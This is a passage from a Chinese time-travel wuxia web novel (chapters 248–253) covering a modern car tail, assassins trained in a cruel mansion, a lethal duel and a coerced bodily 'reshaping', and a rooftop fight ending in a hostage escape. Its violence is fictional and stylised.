两人走出病房,王院长送到电梯口,还想再说些什么,秦绵绵只朝他摆了摆手,便带着罗小胖进了电梯。 第248章 奴家姜飞飞 车子驶出医院,汇入车流。 秦绵绵没有立刻朝市区外开,反而在几条主干道上不紧不慢地行驶着。 罗小胖从后视镜里瞥了几眼,忍不住开口: “掌柜的,我们这是去哪儿啊?裴先生他们会去哪里散心?” 秦绵绵目光沉静地看着前方,嘴角勾起一抹几不可察的弧度:“你跟着我走就是了。” 又绕过一个街角,罗小胖越来越觉得不对劲: “后面那辆黑色的车,是不是一直在跟着我们?” 秦绵绵从后视镜里淡淡瞥了一眼,后面果然缀着一辆不起眼的黑色轿车,就在他们后面,保持着不远不近的距离。 她不动声色地打了下转向灯,车子拐入一条岔路,开始朝着市区郊外的方向驶去。 那辆黑色轿车也毫不犹豫地跟了上来。 郊外的路渐渐变得开阔,两旁的建筑也稀疏起来。 秦绵绵却并未加速,反而故意放慢了些车速。 罗小胖看着她这般举动,越发摸不着头脑:“掌柜的,你这不是在带着他们兜圈子吗?我们到底是要找裴先生,还是……” 秦绵绵唇角微扬:“我这不就是在找人么?” “我找不到,跟着我们的人,自然也就找不到。” “啊?” “他们现在肯定又回大雍去了,谁也找不到的,放心。”秦绵绵目视前方:“你还记得病房里的电视吗?” 罗小胖努力回想了一下:“好像在放一个什么仙侠剧,裴先生应该也不看这种东西吧,电视怎么会开着,我还纳闷呢。” “那部剧,我前些天正好刚和他一起看过一点。”秦绵绵淡淡道,“刚才播的那一集,讲的是主角团队里出了内奸,向外传递消息,差点害得主角团全军覆没。” 罗小胖听得云里雾里:“这跟裴先生他们失踪有什么关系?” “他那么聪明,医院里若有什么不对劲,他一定第一时间察觉到。” “他突然带着云承月离开,甚至没有留下任何直接的讯息,想来就是因为这个。而最大的危险,恐怕就是那位表现得过分热络,又过分紧张的王院长……” 她瞥了一眼后视镜里那辆依旧不远不近跟着的黑色轿车: “至于后面这些尾巴,自然也是他的人。” 罗小胖用力一拍大腿:“那我们现在怎么办?总不能一直这么兜圈子吧?” “自然不会。”秦绵绵的目光转向他,“这件事,恐怕要麻烦你动用一下你的人脉,帮我查查这位王院长了。他的底细,他最近接触过什么人……” “没问题掌柜的!包在我身上!” 秦绵绵微微颔首,将车速又放缓了些,似乎在给罗小胖打电话联系的时间。 罗小胖果然立刻掏出手机,开始拨号。 只是,在秦绵绵不经意间转头看向窗外时,他脸上神色突变。 刚才那股义愤填膺忽然不见了,取而代之的是一抹难以忽略的挣扎和……心虚。 很快,兄弟们调查的结果发了过来,罗小胖看着信息中那个熟悉的不能再熟悉的电话号码,却不动声色,很快删掉。 转头跟秦绵绵报告: “这老小子果然不是个好人,玩的挺花啊。但是这些天的联系人和行踪,好像没什么特别的。” 秦绵绵点点头,又带着后面的尾巴绕了几圈,然后掉头回客栈去了。 下午,没找到人的王院长果然打来了电话询问,秦绵绵扯了个谎: “他们有点事,先回我这边了,麻烦王院长您惦记了哈……至于另外一个朋友的检查,还是麻烦您安排着,我们忙忘了随时过去,是的是的,麻烦您了。” 挂了电话,王院长恨恨,但也无奈,只好赶快给那神秘女人打过去电话,报告这个意外情况。 女人那边却只是笑: “没事,她那里也不是什么龙潭虎穴,我直接去就是了。” 王院长不敢多说,只讷讷应声。 挂了电话,又为失去了见女人机会而恨恨许久。 …… 大雍,神秘大宅。 月娘跪在冰冷的青石板上,垂着头,她身上的伤口早已结痂脱落,只留下浅淡的疤痕。 “三轮试炼皆已通过,伤势也已无大碍,恳请恩准,前往追查皇宫宝库失窃一案。” 她的声音平板无波,听不出任何情绪。 暗影中的男人,依旧戴着那张辨不出喜怒的青铜面具,一双幽深的眸子落在月娘身上,带着审视,更带着一种彻骨的寒意。 他没有立刻开口,空气仿佛凝滞了一般,压得人喘不过气。 半晌,他才缓缓道:“想去?” 月娘头垂得更低:“是。” “可以。”男人惜字如金,“先赢了这最新试炼。” 月娘的心猛地一沉。 “赢了她,你就去。输了……你自己知道的。” 男人的话如同一只无形的手,攫住了她的心脏,让她呼吸都变得困难起来。 她懂。 这座宅院,于她而言,从来不是庇护之所,而是人间炼狱。 自幼年误打误撞进入者大宅以来,她所学的一身武功,从来不是名师指点,而是与饿狼搏命,与死囚相残,从无数次生死边缘挣扎出来的。 眼前这男人,更是视她如犬马,如利刃,有用则留,无用则弃。 当年与她一同被送进来的孩童,少说也有一二百,然而如今最终能站在这里的,唯她一人。 月娘正思忖间,只听身后传来轻微的“吱呀”一声,一扇偏门被推开。 一道纤细的身影从后堂缓缓步出。 那是个看上去年纪不大的女子,荆钗布裙,眉目间带着几分怯生生的柔弱,一双水汪汪的眼睛,仿佛随时都会落下泪来,白皙的面庞,温柔的眉眼,简直我见犹怜。 月娘的瞳孔却骤然收缩。 这宅院里,绝不会有真正的弱者。 能在这男人的严酷筛选下存活下来,本身就意味着不凡。这女子的柔弱,不过是更具迷惑性的伪装。 果然,又多了一个么…… 女子步履袅袅婷婷,慢慢走到月娘身前数步,敛衽一礼,声音细弱蚊蚋: “奴家姜飞飞,见过月姑娘。” 第249章 输赢 月娘眼中寒光一闪,没有半分犹豫,更无半句废话。 她猛地从地上弹起,身形如鬼魅般扑向姜飞飞,五指成爪,直取对方咽喉! 先下手为强,后下手遭殃,这是她在这座宅院里学到的第一条,也是最重要的一条生存法则。 面对这雷霆万钧的致命一击,那叫姜飞飞的女子脸上依旧是那副怯生生的模样,仿佛被吓傻了。 可就在月娘的指尖即将触碰到她纤细脖颈的瞬间,她的身体却像一根无骨的柳条,以一种不可思议的角度向后仰去。 身子下沉,腰肢后折,险之又险地避开了这夺命一爪。 月娘一击落空,心头微凛,手腕翻转,变爪为掌,挟着厉风朝下拍去! 姜飞飞倒在地上的同时,双腿却如毒蛇出洞,反踢向月娘的下盘。 她的动作看似绵软无力,可裙摆之下,鞋尖处却陡然弹出一截寸许长的锋利短刃,闪着幽幽的蓝光,显然淬了剧毒。 好阴险的手段! 月娘脚尖点地,身形暴退,避开那淬毒的鞋刃。 两人一进一退,兔起鹘落间,已交换数招。 大堂之内,暗影中的男人不知何时点燃了一支细长的檀香,插在身旁的香炉里。 袅袅的青烟升起,带着一股清冷而诡异的香气,弥漫在空气中。 那香,便是催命的符。 姜飞飞已经从地上爬了起来,拍了拍布裙上的灰尘,依旧是那副我见犹怜的模样,柔声道:“月姑娘好俊的功夫,奴家……差点就没命了呢。” 她口中说着示弱的话,一双水汪汪的眼睛却紧紧盯着月娘,眸底深处,藏着狐狸般的狡黠与狠毒。 月娘根本不为所动,甚至连眼皮都未曾多眨一下。 对她而言,言语是最无用的东西。 她再次动了,这次速度更快,身法更诡。 整个人仿佛化作了一道没有实体的影子,绕着姜飞飞游走,寻找着一击必杀的破绽。 姜飞飞则像是狂风暴雨中的一叶扁舟,看似摇摇欲坠,却总能在最关键的时刻,以最匪夷所思的方式躲开致命的攻击。 她的袖中、发间,不时会飞出些淬毒的银针、带倒钩的铁蒺藜,招式下作,却极为有效,逼得月娘不得不分神应对。 一个如狼,招招毙命,狠辣直接。 一个似狐,阴柔诡谲,暗箭伤人。 数十招过去,青石板的地面上已经留下了数道深浅不一的划痕,两人身上衣衫也各有破损,却始终没能分出真正的胜负。 月娘的呼吸渐渐有些急促。 她瞥了一眼香炉,那支檀香已经燃去了大半,香灰积了长长一截,摇摇欲坠。 时间不多了。 姜飞飞显然也注意到了这一点,她脸上的柔弱之色褪去不少,取而代之的是一抹显而易见的焦躁。 她们都清楚男人定下的规矩。 香燃尽,若还分不出胜负……那便是两人同死。 在这座宅院里,没有平手,只有胜者,和死人。 一瞬间,两人心中同时升起一股被逼到绝境的狠戾。 姜飞飞不再一味躲闪,她忽然主动欺身而上,口中发出一声娇媚的轻吟,那声音仿佛带着魔力,竟让月娘心神有刹那的恍惚。 高手过招,瞬息万变。 就是这一刹那的失神,姜飞飞手中的一枚银针已悄无声息地刺向月娘的眉心! 月娘猛地回神,死亡的阴影笼罩下来,她想也不想,头颅极限后仰,同时右手化掌为刀,不顾那银针会划破自己的脸颊,以命换命般地劈向姜飞飞的脖颈! 两人都放弃了所有防守,将一切都赌在了这最后的一击上。 眼看着那支檀香,最后一星火光即将燃尽。 噗嗤! 利器划破皮肉的声音,与骨骼被重击的闷响,几乎同时响起。 银针贴着月娘的脸颊险险擦过,带出一道血线。 而她的掌刀,也因为那毫厘之差的躲闪,未能劈中姜飞飞的脖颈,却结结实实地砍在了她的肩胛骨上。 “啊!”姜飞飞发出一声凄厉的尖叫,踉跄后退,左肩以一个诡异的角度塌了下去,鲜血迅速浸透了她的布裙。 她脸上再无半分媚态,煞白一片,跌坐在地,颤声道:“我……我认输了……” 月娘左脸火辣辣地疼,她却恍若未觉。 香,只剩下最后一点。 她目光冰冷,一步步走向倒地的姜飞飞,杀意未减分毫。 宅院的规矩,没有认输,只有生死。 就在月娘欺近的刹那,瘫在地上的姜飞飞,那双含泪的眼中猛地爆出恶毒的凶光! 她那只看似被废掉的左臂毫无征兆地抬起,袖口中,一道黑影直射月娘心口。 与此同时,她的右腿也如蝎尾般猛地踢出,淬毒的鞋刃直奔月娘小腹。 这才是她真正的杀招! 示弱,是为了这绝地反扑! 电光石火间,月娘的身体爆发出强烈的求生本能。 她猛地向右侧扭转躯体,心脏险险避开了那致命的袖箭。 “嗤!” 黑色的袖箭没入她的左肩,剧痛瞬间传来。 她却借着这股力道,不退反进,右臂的护腕狠狠砸下,“当”的一声格开了那淬毒的鞋刃,同时,右肘顺势下沉,重重地捣在姜飞飞的左侧肋下。 咔嚓! 是骨头断裂的声音。 姜飞飞的偷袭得手的狞笑僵在脸上,随即被极致的痛苦所取代,她发出一声不似人声的闷哼,整个人像只被砸断了脊梁的虾米,蜷缩在地,剧烈地抽搐。 这一次,是真的。 月娘一击得手,立刻察觉到不对。 刚才肘击的位置,触感不对,对方的骨头仿佛早就有了裂痕。 是旧伤。 她目光一凝,看向香炉,那截檀香已燃到尽头,青烟即将散尽。 没有丝毫犹豫,月娘忍着左肩的剧痛,再度扑上。 她放弃了所有多余的招式,一拳,一掌,一脚,全都朝着姜飞飞那受伤的左肋招呼过去! 砰! 砰! 姜飞飞彻底失去了反抗之力,只能在地上翻滚躲避,可月娘的攻击如影随形,精准而狠辣。 “别……别打了……我错了……月姑娘……饶命……” 第250章 只是棋子 那份刻入骨子里的柔弱和恐惧终于不再是伪装,姜飞飞彻底崩溃了,哭得涕泪横流,狼狈不堪。 月娘的拳停在她的面门前,劲风吹得她发丝乱舞。 看着地上这个毫无尊严、苦苦哀求的女人,月娘脸上划过一抹极淡的讥诮,声音沙哑而冰冷: “这种装柔弱的招数,留着对男人用吧。” 香炉里,最后一星火光黯淡下去。 月娘眼中杀机暴涨,拳头就要落下。 就在此时,一道黑影飞也似的掠过来,一只冰冷的手掌,如铁钳般抓住了她的手腕。 是那个男人。 暗影中的主宰,不知何时已悄然无声地站在了她们身旁。 他没有说一个字,只是用力将月娘的手甩开。 然后弯下腰,将地上蜷缩成一团、奄奄一息的姜飞飞打横抱起。 月娘愣住了。 男人抱着姜飞飞,转起轮椅就走,毫不拖泥带水,径直没入他来时那片深沉的黑暗中,厚重的门随之缓缓合上。 他……救了姜飞飞。 他破坏了自己定下的规矩。 为什么? 这个念头在月娘脑中一闪而过。 她站在原地,空荡荡的大堂里只剩下她自己,和肩上那支还在渗血的袖箭。 她不懂,也不想懂。 正在这时,身后传来一阵低沉的“嘎吱”声。 月娘猛地回头,只见大宅那扇通往外界的正门,正在缓缓开启。 一缕清晨的微光,照了进来。 这是允许她离开的信号。 月娘眼中的那点迷茫迅速褪去,被惯有的冷硬所取代。 她面无表情地伸出右手,抓住左肩的箭羽,用力一拔。 “唔!” 她闷哼一声,将带血的袖箭随手丢在地上,看也未看那扇关着男人和姜飞飞的门。 她转身,迎着那道光,一步步走出了这座炼狱般的大宅。 …… 密室阴冷,四壁皆是青黑的岩石,空气中弥漫着浓重的血腥气和药草味。 姜飞飞躺在一张硬木板搭成的床上,男人正站在床边,面具后的目光看不出情绪,手上的动作却不带半分迟疑。 他一手按住她的肩胛,另一手抓住她的手臂,只听“咔嚓”一声脆响。 骨头复位。 剧痛让姜飞飞浑身一颤,她却硬生生忍住尖叫,反而从喉咙里挤出带了哭腔的呻吟,眼角恰到好处地滚落两滴泪珠。 “多谢主人……出手相救……奴家,奴家还以为……再也见不到主人了……” 她的声音又恢复了那种细弱蚊蚋的柔媚,身子下意识地朝男人的方向软软靠过去,带着十足的依恋和后怕。 那姿态,足以让任何男人心生怜惜。 然而,男人只是冷漠地将她推开,力道之大,让她刚复位的肩骨又是一阵钻心的疼。 他转身从旁边一个黑漆托盘里,拿起一根细长的银针。 姜飞飞心头一跳,脸上的柔弱险些挂不住。 男人捏着那根针,慢慢回到床边,没有给她任何反应的时间,精准地刺入了她左肋下那处被月娘重创的位置。 那里,肋骨已有裂痕。 “啊——!” 这一次,不再是伪装。 凄厉的惨叫划破了密室的死寂,姜飞飞整个人像离水的鱼般剧烈弹动,痛楚从肋下炸开,瞬间传遍四肢百骸。 男人却不为所动,手指沉稳,甚至还缓缓捻动着那根银针。 “记住这种感觉。”他的声音没有温度,像淬了冰的铁石,一字一字砸进姜飞飞的耳朵里。“记住谁让你活,谁又能让你死得更痛苦。” 不知过了多久,仿佛一个世纪那么长,男人终于抽回了银针。 姜飞飞瘫在木板上,冷汗湿透了她身上的布裙,她整个人就像是从水里捞出来一般,大口大口地喘着粗气。 姜飞飞缓缓抬起头。 那双水汪汪的眼睛里,曾经那种我见犹怜的怯意和柔弱,已消失得无影无踪,取而代之的,是死寂的冰冷和彻骨的清明。 “奴家……记住了。”她的声音不再娇柔,沙哑中透着一股金属般的僵硬。 男人背对着她,将那根沾血的银针扔回托盘,发出清脆的碰撞声。 “再有下次,直接去死,我不会再救你。”他擦拭着自己的手,动作一丝不苟。 “认清你的位置。你只是我手中一件尚未磨利的棋子。废了,我随时可以换。” 姜飞飞撑着木板,挣扎着坐起身,肋下的剧痛让她面色煞白,嘴角却勾起一抹讥诮的弧度,眼神尖锐如刀。 “换?”她轻声反问,“换成月娘那样的吗?” 男人擦拭的动作,有那么一瞬间的停滞。 他没有回头,也没有回答。 密室里再次陷入了令人窒息的沉默。 他用沉默,给了她答案。 男人的青铜面具下,那双幽深的眸子此刻眼神冷酷无比。 月娘…… 他亲手锻造的利刃,那块曾经完美、冰冷、只知服从的钢铁,不知从何时起,竟开始生出了自己的锋芒。 他能感觉到。 那种极细微的、几乎无法察觉的、属于思想的温度。 一件有了自己意志的兵器,便不再是兵器。 而是隐患。 他需要一枚新的棋子。 或者说,需要一块足够坚硬的磨刀石,来磨掉那把利刃上,不该存在的锋芒。 姜飞飞脸上的讥诮还未完全散去,便听见男人那毫无起伏的声音,忽然道: “去净身房。” 不是询问,也不是命令,而是一句陈述。 陈述一个她必须接受的事实。 姜飞飞的身体僵住了。 净身房,那处宅院深处的所在,每一次踏入,都意味着一次脱胎换骨般的凌迟。 比死囚牢更让人闻之色变,只因进去的人,从未有能以“人”的姿态完好无损出来的。 她强压下心底翻涌的寒意,还想再说些什么,男人却已转过轮椅,背对着她,再没有多看她一眼。 那背影,冷硬如山,隔绝了她所有求饶或质问的可能。 密室的石门无声地滑开,门外,一道身影静静地侍立着。 是一名侍女。 侍女的脸上没有任何表情,垂着眼,姿态恭敬到了极点,仿佛一尊没有灵魂的木偶。 “姜姑娘,请随我来。”侍女的声音也和她的表情一样,平直,没有波澜。 第251章 改造 姜飞飞咬着牙,忍着肋下传来的阵阵剧痛,扶着墙壁站起身。 她知道,反抗是徒劳的。 在这座宅院里,主人的话,就是天命。 她一瘸一拐地跟在侍女身后,走过阴冷曲折的廊道。 侍女的步子很稳,不快不慢,始终与她保持着三步的距离,既不催促,也不搀扶,任由她拖着伤体,在冰冷的地面上留下断续的血点。 净身房,比密室要明亮得多,甚至,还有些雅致。 房间正中,是一个白玉砌成的浴池,池水清澈,水面上漂浮着不知名的红色花瓣,正氤氲着袅袅的热气。 四周的墙壁上挂着数面巨大的铜镜,将房内的一切照得纤毫毕现。 空气里,弥漫着一股浓郁又奇异的香气,甜腻得令人作呕。 这里没有刑具,没有血污。 可这过分的洁净与明亮,反而让姜飞飞心中的畏惧攀升到了顶点。 “请姜姑娘宽衣。” 姜飞飞没有动。 侍女也不恼,只是静静地站着,仿佛能等到地老天荒。 最终,是姜飞飞先败下阵来。 她颤抖着手,解开自己那身早已被血汗浸透的粗布衣衫。 肋骨断裂的剧痛,肩胛错位的酸楚,在这一刻,都及不上那份被剥去所有遮掩,赤裸地暴露在无数镜面中的屈辱。 侍女走上前来,手中托着一个她早已熟悉的黑漆木盘,盘中整齐地摆放着一套银质的、造型古怪的工具。 有细如牛毛的长针,有薄如蝉翼的弯刀,还有一些……她早已认识的,用来改造身体的器具。 “主人要的,是一件完美的玉器。”侍女终于抬起眼,那双眸子黑沉沉的,没有一丝活人的温度,“玉器之上,不能有任何瑕疵。” 她的手,抚上姜飞飞的肌肤。 那手指冰冷而光滑,不带任何情绪,像是在检视一件待价而沽的货物。 “骨骼还不够极致柔软,需要继续浸泡七十二个时辰,以达到最佳的无骨之态。” “肌肤也还不够透亮,需用雪蛤和珍珠粉制成的药膏,日日涂抹,反复刮去表皮,直至透亮如光。” “至于这里……残存的野性,亦需彻底磨灭。”侍女的手指停在姜飞飞的眼角,指甲轻轻划过她脆弱的眼皮,“这最难办,需以金针刺穴,让姜姑娘你学会……何为媚骨天成。” 侍女每说一句,姜飞飞的脸色便白上一分。 这不是改造,这是活生生地将她这个人抹去,然后重塑成另一个模样。 一个任人摆布的,精致的,没有思想的玩物。 “不……”她喉咙里发出嘶哑的抗拒。 侍女却仿佛没听见。 她取过一碗黑褐色的汤药,捏开姜飞飞的下巴,不由分说地灌了进去。 汤药苦涩辛辣,滑入喉咙,像是一团火在烧。 很快,一股熟悉的麻痹感从腹中升起,迅速蔓延至四肢百骸。 姜飞飞只觉得浑身发软,连动一根手指的力气都失去了。 她被侍女毫不费力地抱起,放入那白玉池中。 温热的池水瞬间包裹了她的身体,那水中不知加了什么,刺得她每一处伤口都传来针扎般的剧痛。 她想挣扎,想尖叫,却发不出任何声音。 意识在迅速沉沦,身体却前所未有地清醒,清晰地感受着每一寸肌肤,每一根骨头,都在被一种外来的剧痛,缓慢而坚定地改变着。 在彻底失去意识前,她透过蒸腾的水汽,看到了铜镜中的自己。 那张脸上,曾经赖以生存的柔弱与算计,正一点点被痛苦所吞噬,取而代之的,是一种近乎绝望的空洞。 费尽心力把她改造到极致,到底是为了什么? 姜飞飞后知后觉地意识到,将来的某一天, 她一定会成为一件极有力的工具。 月娘是主人的利刃,用来杀人。 而她,将是主人手中,那柄献给敌人的,注满了毒的……玉杯。 …… 大雍,夜。 侯府的书房里,烛火静静跳动,在紫檀木的书架上投下长长的影子。 空气里浮动着熟悉的墨香与旧纸的味道,隔绝了外界的喧嚣。 裴应见和云承月都安全回来了。 云承月斜倚在轮椅上,姿态闲适,眉眼松弛,带着三分揶揄。 “我说,你这也太草木皆兵了些。什么大事,至于让你吓得直接拉着我跑路么?” 裴应见站在窗前,负手而立,望着窗外沉沉的夜色。 听见云承月的话,他缓缓转过身,烛光勾勒出他深邃的轮廓。 “你是不了解那个地方。大雍的危险,是摆在明面上的刀光剑影,是看得见的敌人。而那里的危险……是看不见的网,是无孔不入的眼睛。” 云承月的动作顿了顿,抬起空洞无神的眼睛:“你是说,那个王院长?” “对。他不是好人。而且,他的目标很明确,就是你我二人。” “他想对我们做什么?”云承月的好奇心被勾了起来,他坐直了身子,“你到底听到了什么?” 裴应见沉默了。 他脑海中闪过在院长办公室外,门缝里透出的那几句零碎的交谈。 时空…… 实验…… 完美的样本…… 这些东西太过匪夷所思,他不能说。 最终,裴应见只是摇了摇头,走到桌案前,给自己倒了杯冷茶。 “总之,我们的来历,绝不能泄露半分。否则,会给绵绵她们带去天大的麻烦。” 云承月从来都很信任裴应见,他既然这么说,他就信。 “我懂了。只是我们就这么不清不楚地走了,掌柜的那里,不知会如何担心。” “她很聪明。”裴应见忽然笑了笑,声音里带着一丝自己都未察觉的柔软,“我留下了讯号,她会明白的。她现在要做的,不是找我们,而是避开我们带来的麻烦。” 他将茶杯重重放下,发出“嗒”的一声轻响。 那声音在寂静的书房里,显得格外清晰。 那个王院长的背后,一定还有人。一个很庞大的组织。 他们对他们这种闯入者,抱着极大的兴趣。那种兴趣,不是好奇,而是猎人看到猎物时的贪婪。 第252章 再次遭遇 这是他们危险的最终来源。 而他单枪匹马对上他们,还带着一个病弱的云承月,可以说是毫无胜算。 “那,我们还回去吗?” “自然是要回的。”裴应见顿了顿,“我还有事要跟绵绵交代,更何况你的病,不能再拖了。” 就算那个王院长靠不住,相信绵绵也会有别的办法帮云承月找到救治的方法的。 云承月是他多年老友,他一定要救他。 云承月那张总是挂着三分闲散笑意的脸,此刻竟有些沉静。 他点了点头,算是应了裴应见的话,片刻后,又自嘲般地扯了扯嘴角:“说到底,还是我这副破身子拖累了你。” “我们之间,不必说这些。”伸手拍拍他肩膀。 他刚要再说些什么,却见云承月的脸色瞬间褪得像纸,捂着胸口的手指用力到骨节发白,整个人从轮椅上向前栽去。 裴应见脸色大变,一步跨过去扶住他。 云承月的呼吸变得急促而艰难,喉咙里发出嗬嗬的抽气声,额上冷汗涔涔。 “药……” 裴应见连忙从云承月怀中摸出那个随身携带小瓷瓶,倒出一粒深褐色的药丸,迅速塞进云承月口中。 以往,这药丸入口即化,很快便能平复他的心悸。 可这一次,时间一息一息地过去,云承月的状况却丝毫没有好转,反而呼吸愈发微弱,双目紧闭,已是半昏迷的状态。 药,不管用了。 这个认知像一盆冰水兜头浇在裴应见心上。 他立刻一把将云承月从轮椅上抱起,转身就朝书房外冲去。 京城里最好的大夫,或许能救他。 云承月却虚弱地微微睁开眼,把住他的手:“别……白费力气了……我乃天下神医,我都治不好自己……这天下谁能治好我……” 裴应见却不管这个,径直就是往外冲。 而就在他心急如焚,推开书房门的瞬间,一道暗红色的人影忽然如夜枭般悄无声息地从屋檐上落下,正好落在他面前的庭院中。 来人身姿窈窕,显然是个女子。 一身红衣,轻纱敷面,身形纤细,动作却干脆利落,显然是个中好手。 这不是别人,正是月娘。 她去面见了皇帝,接着追查宝库失窃案,线索隐约指向了这位裴侯爷,便趁夜前来一探究竟。 却没想到,刚一落地,就和裴应见撞了个正着。 月娘心中警铃大作,没有半分迟疑。 她脚尖一点,身形前掠,袖中短刃无声滑出,并不取裴应见的性命,而是直奔他抱人的手臂而去。 伤人,脱身。这是她此刻唯一的念头。 然而,就是这看似简单的一招,裴应见的瞳孔却骤然紧缩。 这诡谲又狠辣的出招方式,这熟悉的、直奔要害又不留余地的角度…… 是她。 那个杀了他燕州心腹属下的女刺客。 裴应见眸间骤冷,脸色黑沉如水。他脚下步伐一错,抱着云承月的身体以一个不可思议的角度旋开,险之又险地避开了那夺命的一刃。 月娘一击不中,更不停留,转身便要遁入夜色。 “想走?” 裴应见的声音冷得像冰,他迅速将怀中昏迷的云承月靠在一旁的廊柱下,身形如离弦之箭般追了上去,一掌拍向月娘的后心,掌风凌厉! 月娘听声辨位,反手一格,两人掌力相交,发出一声闷响。 两人各自退开数步。 这是他们的第二次交手。 庭院中,夜风卷起落叶,气氛肃杀。 裴应见招式大开大合,一拳一脚皆含着千钧之力,却又在最关键处暗藏变化,逼得人无处可躲。 月娘的身法则更偏向诡谲,如附骨之疽,总能从最刁钻的角度发起攻击,招招致命。 拳风与刃光交错,两人转瞬间已过了十余招,竟是谁也奈何不了谁。 又一次猛烈对撞后,两人再度分开。 裴应见立在月下,胸口微微起伏,他察觉到了不对劲。 这女刺客的左肩,在承受他掌力时,总有一瞬间的僵滞,仿佛那里的骨头是错位的。 是重伤未愈。 而另一边,月娘藏在面巾下的脸色也凝重无比。 她同样感觉到了。 裴应见的招式看似威猛,内息却并不如表面那般雄浑,在数次急速变招时,他的呼吸有刹那的紊乱。 他也带着伤。 夜风卷起两人衣袂,猎猎作响。 庭院中,死寂一片,唯有廊柱下云承月微弱的呼吸声,牵动着所有人的心弦。 伤势,成了他们彼此眼中最致命的破绽。 裴应见的心沉到了谷底。云承月的气息越来越弱,他耗不起。 不能再拖。 这个念头起的瞬间,裴应见动了。 他不再试探,舍弃了所有繁复的招式,整个人如一张拉满的弓,携着破风之势,一拳捣向月娘面门。 这一拳,势大力沉,毫无花巧,是纯粹的力量碾压。 月娘眼神一凝,不敢硬接,侧身急避。 然而这只是虚晃一招。 就在她身形偏转,左肩空门大开的刹那,裴应见真正的杀招到了。 他身随拳走,那看似用尽全力的一拳倏然收回,手肘以一个刁钻诡异的角度反撞而出,目标,正是月娘那处气息凝滞的左肩。 快,狠,准! 月娘瞳孔剧缩,强行扭转身体,想要避开,可肩上的旧伤却在此时如同被针扎一般,让她动作慢了分毫。 就这分毫,已定生死。 “咔!” 一声骨头错位的闷响,裴应见的手肘结结实实地撞在了她的肩胛骨上。 剧痛袭来,月娘闷哼一声,整个人踉跄后退,左臂瞬间失去了知觉。 裴应见一击得手,不等她稳住身形,第二击已如影随形。 他一步踏前,欺入她怀中,修长的手指快如闪电,在她胸前几处大穴上疾点而下。 动作行云流水,一气呵成。 月娘只觉得半身一麻,浑身力气瞬间被抽空,软软地就要倒下。 裴应见一把抓住她的后领,像是提着一只没有反抗能力的野猫,将她拖到廊柱边,重重掼在地上。 他甚至来不及喘息,立刻俯身探向云承月的鼻息。 气息微弱,但还有。 裴应见心中稍定,眼神再转向地上动弹不得的月娘时,已是冰寒一片。 第253章 秦 “说,是谁派你来的?”他居高临下地看着她,声音里不带一丝温度。 月娘伏在地上,面纱下的嘴角渗出一丝血迹,她抬起头,那双眼睛在夜色中,依旧是死水般的平静,带着一种被驯养出来的、对疼痛的漠然。 她不说话。 “骨头很硬?”裴应见冷笑一声,蹲下身,手指再次点向她身上的穴位。 这一次,他的指法截然不同。 一股难以言喻的酸麻刺痛,仿佛有亿万只蚂蚁在啃噬骨髓,瞬间从被点中的穴位炸开,疯狂地涌向四肢百骸。 月娘的身体不受控制地蜷缩起来,剧烈地颤抖。 额上冷汗瞬间浸湿了发根,她死死咬住嘴唇,不让自己发出一丝声音。 那双死寂的眼睛里,终于出现了裂痕,痛苦如同潮水,几乎要将她整个人吞没。 “我再问一次,你背后的人,是谁?”裴应见的声音如同地狱传来的催命符,“我这套‘千蚁噬心’的手法,没人能撑过一炷香。你是想尝尝,还是想说?” 月娘的牙关咬得咯咯作响,下唇已被咬破,满口血腥。 她在这世上什么都尝过,饥饿,寒冷,与野兽搏命,与死囚相残。 她以为自己早已不知痛苦为何物。 可这种从身体内部爆发,让她连掌控自己身体都做不到的酷刑,却轻易击溃了她所有的防线。 她的意志在寸寸崩裂。 “……是主人。” 终于,她喉咙里挤出几个沙哑的字眼。 “主人?”裴应见眯起眼,“那个大宅里的男人?” 月娘的眼中闪过一丝惊诧,显然没料到他会知道。 “你们是什么身份?为朝廷卖命?” “……主人,要我成为……皇帝身边最信任的刀。”月娘断断续续地答道,“至于他的目的……我不知道。” 她只是刀,刀是不需要知道主人意图的。 裴应见沉默了一瞬。 他看着地上这个蜷缩着的身影,不知为何,那双露在面纱外的眼睛,总给他一种莫名的熟悉感,仿佛在哪里见过。 他心念一动,缓缓伸出手,探向她脸上的面纱,同时问道: “你叫什么名字?” 月娘身体一僵,就在裴应见指尖即将触碰到面纱的瞬间,吐出了一个字: “秦……” 裴应见的手还没碰到面纱,猛地顿住。 秦? 他脑中轰然一声,刹那间一片空白。 然而,高手过招,生死只在瞬息。 就是这一瞬的失神。 月娘那双涣散的眼中,猛地爆发出骇人的凶光。 她不知从哪里来的力气,竟硬生生冲破了穴道的禁制,那只被废掉的左臂诡异地一甩,袖中毒针直奔裴应见门面。 然而这只是佯攻。 她的身子像没有骨头般贴地一滚,目标不是逃,而是裴应见身后,那个靠在廊柱上,昏迷不醒的云承月。 “不好!” 裴应见猛然回神,可一切都晚了。 他挥袖打开毒针,再要阻止时,月娘那只完好的右手已经掐住了云承月的脖子,将他半拖半拽地挡在自己身前。 “别过来!” 月娘的声音尖锐而狠戾,那柄从不离身的短刃,此刻正冰冷地贴在云承月的颈上。 裴应见的脚步,死死钉在原地,脸色难看到了极点。 他眼睁睁看着月娘挟持着云承月,一步步退入庭院的阴影中。 “放了他!” 月娘只是冷笑,并不答话,身影几个起落,便带着人质,彻底消失在了沉沉的夜色里。 庭院中,恢复了死寂。 夜风吹过,卷起几片落叶,廊下的灯笼轻轻摇晃。 裴应见僵在原地,那双总是深邃的眸子,此刻却翻涌着惊涛骇浪。 秦。 那个字,像一根烧红的铁钎,烙在他的心上。 还有那双眼睛……那双在痛苦和狠戾中,依旧透着死寂的眼睛,为何会给他一种穿透时空的熟悉感? 这念头只是一闪,便被拽了回来。 救人要紧。 他心神一凛,不再有片刻迟疑,身形展动,朝着那女子消失的方向暴掠而去。 …… 夜色如墨,泼洒在京城错综复杂的屋檐与巷道上。 月娘挟持着云承月,在黑暗中急速穿行。 左肩的剧痛让她每一次腾挪都扯动着筋骨,怀里这个半死不活的男人更是个沉重的累赘。 她能感觉到,身后那道凌厉的气息,如跗骨之蛆,不远不近地缀着,始终没有被甩开。 裴应见,比她想象中更难缠。 一个急坠,月娘闪身躲进一条阴暗的窄巷,疾行的风带起了她脸上的面纱,那块黑布轻飘飘地荡开,落在了湿冷的青石板上。 她却顾不上去捡。 就在此时,一直昏迷不醒的云承月忽然动了一下。 他似乎想抬手,却只是徒劳地在空中抓了抓,指尖无意中,轻轻划过了月娘的侧脸。 那触感……云承月浑身一震,那张因病痛而毫无血色的脸上,浮现出一丝错愕。 下意识地,他又快速伸手摸了摸面前这人的脸。 自幼失明的他想要识得人的长相,只有这一种方式。 